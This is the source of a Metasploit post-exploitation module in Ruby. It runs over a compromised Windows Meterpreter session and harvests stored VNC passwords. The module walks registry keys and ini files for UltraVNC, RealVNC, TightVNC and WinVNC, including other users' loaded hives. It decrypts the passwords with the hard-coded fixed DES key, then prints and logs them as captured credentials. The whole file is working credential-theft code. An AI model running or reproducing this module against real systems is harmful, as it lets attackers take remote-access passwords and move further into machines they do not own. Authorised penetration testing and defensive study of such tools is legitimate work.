251 lines
7.1 KiB
Ruby
251 lines
7.1 KiB
Ruby
##
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# $Id$
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##
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# post/windows/gather/enum_vnc_pw.rb
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/windows/registry'
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require 'msf/core/post/windows/user_profiles'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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include Msf::Post::Windows::UserProfiles
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather VNC Password Extraction',
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'Description' => %q{
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This module extract DES encrypted passwords in known VNC locations
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},
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'License' => MSF_LICENSE,
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'Author' => ['Kurt Grutzmacher <grutz[at]jingojango.net>',
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'Rob Fuller <mubix[at]hak5.org>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def decrypt_hash(hash)
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if hash == nil
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return nil
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end
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# fixed des key
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# 5A B2 CD C0 BA DC AF 13
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fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
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pass = Rex::Proto::RFB::Cipher.decrypt ["#{hash}"].pack('H*'), fixedkey
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return pass
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end
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# Pull encrypted passwords from file based storage
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def file_get(filename,splitvar)
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begin
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client.fs.file.stat(filename)
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config = client.fs.file.new(filename,'r')
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parse = config.read.split
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value = parse.at(parse.index{|x| x =~ /#{splitvar}/}).split(splitvar)[1]
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return value
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rescue
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return nil
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end
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end
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# Pull encrypted passwords from registry based storage
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def reg_get(key,variable)
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begin
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root_key, base_key = session.sys.registry.splitkey(key)
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open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
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data = open_key.query_value(variable).data
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if data.class == Fixnum
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return data
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else
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value = data.unpack('H*')[0].to_s
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return value
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end
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rescue
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# Registry value not found
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return nil
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end
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end
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def run
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'''
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Hash format
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:name,
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:check_file,
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:check_reg,
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:pass_variable,
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:port_variable,
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:port,
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:hash,
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:pass,
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:viewonly_variable,
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:viewonly_hash,
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:viewonly_pass
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'''
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locations = []
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#Checks
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locations << {:name => 'UltraVNC',
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:check_file => session.fs.file.expand_path("%PROGRAMFILES%")+'\\UltraVNC\\ultravnc.ini',
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:pass_variable => 'passwd=',
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:viewonly_variable => 'passwd2=',
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:port_variable => 'PortNumber='}
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locations << {:name => 'WinVNC3_HKLM',
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:check_reg => 'HKLM\\Software\\ORL\\WinVNC3',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'WinVNC3_HKCU',
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:check_reg => 'HKCU\\Software\\ORL\\WinVNC3',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'WinVNC3_HKLM_Default',
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:check_reg => 'HKLM\\Software\\ORL\\WinVNC3\\Default',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'WinVNC3_HKCU_Default',
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:check_reg => 'HKCU\\Software\\ORL\\WinVNC3\\Default',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'WinVNC_HKLM_Default',
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:check_reg => 'HKLM\\Software\\ORL\\WinVNC\\Default',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'WinVNC_HKCU_Default',
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:check_reg => 'HKCU\\Software\\ORL\\WinVNC\\Default',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'WinVNC4_HKLM',
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:check_reg => 'HKLM\\Software\\RealVNC\\WinVNC4',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'WinVNC4_HKCU',
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:check_reg => 'HKCU\\Software\\RealVNC\\WinVNC4',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'RealVNC_HKLM',
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:check_reg => 'HKLM\\Software\\RealVNC\\Default',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'RealVNC_HKCU',
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:check_reg => 'HKCU\\Software\\RealVNC\\Default',
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => 'TightVNC_HKLM',
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:check_reg => 'HKLM\\Software\\TightVNC\\Server',
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:pass_variable => 'Password',
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:port_variable => 'RfbPort'}
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locations << {:name => 'TightVNC_HKLM_Control_pass',
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:check_reg => 'HKLM\\Software\\TightVNC\\Server',
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:pass_variable => 'ControlPassword',
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:port_variable => 'RfbPort'}
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userhives=load_missing_hives()
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userhives.each do |hive|
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next if hive['HKU'] == nil
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locations << {:name => "RealVNC_#{hive['SID']}",
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:check_reg => "#{hive['HKU']}\\Software\\RealVNC\\Default",
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => "WinVNC4_#{hive['SID']}",
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:check_reg => "#{hive['HKU']}\\Software\\RealVNC\\WinVNC4",
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => "WinVNC_#{hive['SID']}_Default",
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:check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC\\Default",
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => "WinVNC3_#{hive['SID']}_Default",
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:check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC3\\Default",
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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locations << {:name => "WinVNC3_#{hive['SID']}",
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:check_reg => "#{hive['HKU']}\\Software\\ORL\\WinVNC3",
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:pass_variable => 'Password',
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:port_variable => 'PortNumber'}
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end
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print_status("Enumerating VNC passwords on #{sysinfo['Computer']}")
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locations.map { |e|
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print_status("Checking #{e[:name]}...")
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if e.has_key?(:check_reg)
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e[:port] = reg_get(e[:check_reg],e[:port_variable])
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e[:hash] = reg_get(e[:check_reg],e[:pass_variable])
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e[:pass] = decrypt_hash(e[:hash])
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if e.has_key?(:viewonly_variable)
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e[:viewonly_hash] = reg_get(e[:check_reg],e[:viewonly_variable])
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e[:viewonly_pass] = decrypt_hash(e[:viewonly_hash])
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end
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elsif e.has_key?(:check_file)
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e[:port] = file_get(e[:check_file],e[:port_variable])
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e[:hash] = file_get(e[:check_file],e[:pass_variable])
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e[:pass] = decrypt_hash(e[:hash])
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if e.has_key?(:viewonly_variable)
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e[:viewonly_hash] = file_get(e[:check_file],e[:viewonly_variable])
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e[:viewonly_pass] = decrypt_hash(e[:viewonly_hash])
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end
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end
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#reporting
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if e[:pass] != nil
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if e[:port] == nil
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e[:port] = 5900
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end
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print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}")
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report_auth_info(
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:host => session.sock.peerhost,
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:sname => 'vnc',
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:pass => "#{e[:pass]}",
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:port => "#{e[:port]}",
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:type => 'password'
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)
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end
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if e[:viewonly_pass] != nil
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print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}")
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report_auth_info(
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:host => session.sock.peerhost,
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:sname => 'vnc',
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:viewonly_pass => "#{e[:viewonly_pass]}",
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:port => "#{e[:port]}",
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:type => 'password_ro'
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)
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end
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}
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unload_our_hives(userhives)
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end
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end
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